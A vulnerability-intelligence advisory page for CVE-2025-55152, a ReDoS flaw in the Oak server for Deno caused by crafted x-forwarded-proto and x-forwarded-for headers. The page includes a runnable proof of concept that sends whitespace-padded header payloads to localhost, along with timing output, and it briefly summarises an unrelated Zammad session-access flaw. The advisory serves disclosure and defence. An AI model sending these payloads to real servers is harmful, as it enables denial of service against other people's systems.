Patrowl Intel
Sign in
Back to feed

CVE-2025-55152

Published Aug 12, 2025

Summary

Oak Server has ReDoS in x-forwarded-proto and x-forwarded-for headers

Summary

With specially crafted value of the x-forwarded-proto or x-forwarded-for headers, it's possible to significantly slow down an oak server.

Vulnerable Code
PoC
  • setup
deno --version
deno 2.4.3
v8 13.7.152.14-rusty
typescript 5.8.3
  • server.ts
import { Application } from "https://deno.land/x/oak/mod.ts";

const app = new Application({proxy: true});

let i = 1

app.use((ctx) => {

    // let url = ctx.request.url   // test1) x-forwarded-proto
    let ips = ctx.request.ips   // test2) x-forwarded-for
    console.log(`request ${i} received`)
    i++;
    ctx.response.body = "hello";
});

await app.listen({ port: 8080 });
  • client.ts
const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

const data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A');
const data2 = lengths.map(l => 'A' + ' '.repeat(l) + 'A');

async function run(data) {
    for (let i = 0; i < data.length; i++) {
        let d = data[i];
        
        const start = performance.now();

        await fetch("http://localhost:8080", {
            headers: {
                // "x-forwarded-proto": d,  // test1)
                "x-forwarded-for": d,    // test2)
            },
        });

        const end = performance.now();
        console.log('length=%d, time=%d ms', d.length, end - start);
    }
}

console.log("\n[+] Test normal behavior")
await run(data1)
console.log("\n[+] Test payloads")
await run(data2)
  • run
deno run --allow-net server.ts
deno run --allow-net client.ts

[+] Test normal behavior
length=2002, time=14 ms
length=4002, time=6 ms
length=8002, time=3 ms
length=16002, time=3 ms
length=32002, time=2 ms
length=64002, time=4 ms
length=128002, time=3 ms

[+] Test payloads
length=2002, time=7 ms
length=4002, time=22 ms
length=8002, time=77 ms
length=16002, time=241 ms
length=32002, time=947 ms
length=64002, time=4020 ms
length=128002, time=15840 ms
Impact

A specially crafted value of the x-forwarded-proto or x-forwarded-for headers  can be used to significantly slow down an oak server.

Similar Issues

Affected

Weaknesses

CWE-1333CWE-400

CVSS details

  • v3.15.3CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access Impact

Exploits & references 0 exploits · 6 references

Timeline

  1. Scored by CISA SSVCAug 11, 2025
  2. PublishedAug 12, 2025

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Hightoday

Zammad - Unauthenticated Access to Realtime Agent & Chat Visitor Session Data

Zammad is an open-source web-based helpdesk and customer support ticketing system. It includes agent ticket overviews and an optional live chat feature for website visitors. GHSA-HWMJ-JRCP-HW9Q Zammad's realtime session handling did not reliably verify that a caller requesting pushed data was the owner of the session (CWE-367 time-of-check time-of-use race condition, CWE-863 incorrect authorization). An unauthenticated attacker over the network could read the data pushed to an agent's browser, including ticket overviews, user records with contact details, and activity streams with ticket article content. The agent only needs to have Zammad open. On installations with the chat feature enabled, an attacker could also read website visitors' chat conversations, including agent messages and names, and send messages as the visitor. The flaw is in a standard component, so no special configuration is required. Apart from writing into chat conversations, the access is read-only. Affected versions are Zammad up to and including 7.2.3, and 7.3.0. Fixed versions are 7.2.4 and 7.3.1. No CVE ID is assigned.

Take 15 minutes to discover the Patrowl EASM platform with our experts

The intelligence behind this page, applied to your own exposure: your assets discovered, matched to these signals, prioritised by the same score.

  • European Investment Bank
  • MGEN Solution
  • Forvis Mazars
  • Colas
  • Heetch
  • Xplor
This month’s verdictsPaste yours